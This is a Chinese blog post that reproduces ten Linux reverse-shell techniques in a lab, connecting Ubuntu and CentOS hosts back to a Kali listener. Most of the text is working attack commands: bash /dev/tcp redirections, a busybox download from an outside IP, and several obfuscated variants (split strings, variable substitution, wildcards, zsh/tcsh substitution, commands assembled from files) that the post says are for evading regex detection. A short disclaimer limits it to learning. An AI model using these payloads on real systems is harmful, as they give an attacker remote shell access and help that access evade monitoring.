Linux反弹shell姿势复现(一)--- 利用bash反弹shell

12 篇文章 2 订阅
4 篇文章 1 订阅

前言

    反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹shell复现也算是一个近期工作的归纳总结吧。
    注意:本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!

复现环境说明

我在ubuntu和centos上均做了复现,用于比较版本对反弹shell的影响,实验方式是一样的,只是为了对比结果。

  • 服务端(被监听)(ubuntu使用cat /proc/version查看,centos使用cat /etc/system-release查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core)

  • 客户端(监听):kali 5.9.0-kali1-amd64

利用bash反弹shell

利用bash反弹shell的方式有很多,之后本页面也会不断更新

重要说明

  • /dev/tcp文件说明
        这个文件在利用bash反弹shell的时候非常重要,这个文件本身是不存在的,可以看成是一个设备,打开这个文件就相当于发出了一个socket调用,建立起一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
        /dev/tcp/host_ip/port :只要读取或者写入这个文件,相当于系统会尝试连接ip地址为host_ip的这台机器,对应的端口为port,如果这个ip和端口存在,就会建立起一个socket连接,在/proc/self/fd 目录下面,还有对应的文件生成。利用这个/dev/tcp文件的这个原理,就可以实现shell的反弹。

方法一:利用bash进行反弹

这是一种基础的利用/dev/tcp文件原理的方法

  1. 监听端(kali端):
        首先让监听端开启监听:
        nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述

  2. 被监听端(ubuntu端):
        cp /usr/bin/bash /opt/log_file/t(复制一个bash到当前文件夹)
        ./t -i >& /dev/tcp/kali的ip地址/1231 0<&1
    在这里插入图片描述

  3. kali端已经拿到ubuntu的shell,成功后,在kali输入exit退出即可

方法二:利用busybox执行sh进行反弹

    利用busybox:BusyBox 是标准 Linux 工具的一个单个可执行实现,里面含带了多种shell,只不过里面没有包含bash(此方法使用sh)。简单的说,busybox就是一个小型的根文件系统。因此,我们可以使用busybox来模拟根文件系统(rootfs),然后再结合一个linux内核,这样就可以组件一个linux系统了。

  1. 监听端(kali端)
        首先让监听端开启监听:
        nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  2. 客户端(ubuntu端):
  • 远程下载busybox:
    wget http://139.196.91.13:7001/busybox
    在这里插入图片描述
  • 给busybox增加执行权限
    chmod +x busybox
  • 利用busybox执行sh
    ./busybox sh -i >& /dev/t""cp/kali的ip地址/1231 0<&1
    在这里插入图片描述
  1. kali拿到反弹过来的shell
    结果与方法一的结果相同,使用命令exit退出即可

方法三:软连接诶+绕过正则示例1(命令变化特殊字符)

    利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:ln -s /bin/sh t
  • str=dev
  • ./t -i >& /${str}/tcp/kali的ip地址/1231 0>&1
    在这里插入图片描述
  1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法四:软链接+绕过正则示例2(命令变化特殊字符)+新起一个bash

    利用ln创建sh的软链接,利用echo命令给值给sh,然后通过/dev/tcp进行反弹:

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:ln -s /bin/sh t
  • echo './t -i >&' '/dev/tcp/kali的ip地址/1231' '0>&1' |bash
  1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法五:软链接+绕过正则示例3(命令变化特殊字符)

    利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:ln -s /bin/sh t
  • ./t -i >& /"dev"/tcp/kali的ip地址/1231 0>&1
  1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

这样的变化方式有很多,主要是增加一些符号等,并不影响命令的执行,比如双引号还可以编程单引号、加一些括号、$符号、“*”号等等。

方法六:利用软链接+bash执行文件内容

    依旧是利用软链接,但是把命令写在文件中去执行。

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:ln -s /bin/sh /tmp/t
  • echo -n '0<&196
  • exec 196' > a
  • echo -n '<>/dev/tcp/kali的ip地址' > b
  • echo -n '/1231
  • /tmp/t <&196 >&196 2>&196' > c
  • cat a b c|bash
  1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法七:利用软链接+新起bash执行反弹

    依旧是利用软链接,通过新起一个bash来执行反弹命令。

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:ln -s /bin/sh /tmp/t
  • echo '0<&196
  • exec' '196<>/dev/tcp/kali的ip地址/1231
  • ' '/tmp/t <&196 >&196 2>&196'|bash
  1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法八:软链接+执行文件中的命+新起一个bash

    依旧是利用软链接,通过新起一个bash来执行反弹命令和写入文件相结合。

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
  • 创建软链接:
  • ln -s /bin/sh t
  • echo -n './t -i >& /de' > a
  • echo -n 'v/tcp/kali的ip地址/1231 0>' > b
  • echo -n '&1' > c; cat a b c|bash
    1. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法九:利用zsh替换bash+绕过正则

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
    执行命令:/b?n/c?h -i > /dev/tcp/kali的ip地址/1231 0>&1
  2. kali端拿到被监听方反弹的shell,使用exit命令退出即可

方法十:利用tcsh替换bash+绕过正则

  1. 监听端(kali端)
  • 让监听端开启监听:
      nc -nlvp 1231(此处假设监听的是1231端口)
    在这里插入图片描述
  1. 客户端(centos端):
    执行命令/b?n/tc?h -i > /dev/tcp/kali的ip地址/1231 0>&1
  2. kali端拿到被监听方反弹的shell,使用exit命令退出即可

    这一篇博文后续也会继续保持更新,目前做了二十几种bash反弹shell的复现,反弹的方式多种多样,并不能涵盖所有,本文总结了其中的一部分,大多数利用bash反弹shell的方式主要是利用本文提到的方法的排列组合,或者是增加一些符号,也就是绕过正则,在命令中变换特殊字符,比如空格使用${IFS}、使用base64编码等,或者是加入命令通配符,比如/b?n/ba?h等,亦或者是使用tcsh、zsh来替换bash,或者是cp、软链接来替换bash躲避检测等等,主要是为了躲避检测,方式有很多很多,但是其原理都是大同小异)
    接下来如果在做到利用bash反弹shell,会进行横向纵向的扩充,根据姿势的种类,也会增加博文的篇数,其他方面如有不足,请多指正(#^.^#)

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值